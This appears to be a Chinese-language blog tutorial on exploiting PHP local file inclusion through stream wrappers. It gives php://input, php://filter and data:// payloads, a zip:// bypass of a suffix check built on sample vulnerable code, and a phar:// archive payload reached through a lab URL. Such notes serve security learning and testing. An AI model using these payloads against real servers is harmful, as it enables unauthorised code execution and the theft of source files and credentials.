php封装协议的利用

  1. 利用php流input(接受POST过来的值):
    ?file=php://input
    (需要allow_url_include=On,详细→[http://php.net/manual/en/wrappers.php.php](http://php.net/manual/en/wrappers.php.php))
    代码执行:

    image
  2. 利用php流filter(过滤器,可以用来读取php文件内容,不需要开启allow_url_include):
    ?file=php://filter/convert.base64-encode/resource=index.php

  3. 利用data URIs:
    ?file=[data://text/plain;base64,base64编码的payload](data://text/plain;base64,base64编码的payload)
    (需要allow_url_include=On)

    image

    <?php phpinfo();,注意没有?>闭合

其他封装协议的利用

  1. zip协议
    http://php.net/manual/zh/wrappers.compression.php
    php $include_file=$_GET[include_file]; if ( isset( $include_file ) && strtolower( substr( $include_file, -4 ) ) == ".php" ) { require( $include_file ); }
    截取过来的后面4格字符,判断是不是php,如果是php才进行包含

    image

    协议原型:zip://archive.zip#dir/file.txt
    注意url编码,因为这个#会和url协议中的#冲突

  2. phar协议
    phar是将php文件归档到一个文件包里面(我理解是类似与zip压缩包一样)
    php <?php $p = new PharData(dirname(__FILE__).'/phartest.aaa', 0,'phartest',Phar::ZIP) ; $p->addFromString('testfile.txt', '<?php phpinfo();?>'); ?>
    创建phar的时候要注意php.ini的参数,phar.readonly设置为off(本地测试的两个默认都是off)
    然后通过包含协议访问:
    http://192.168.227.128/other/lfi/ex1.php?f=phar://./phar/phartest.aaa/testfile.txt

    image

    此方法使用要php>5.3.0

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容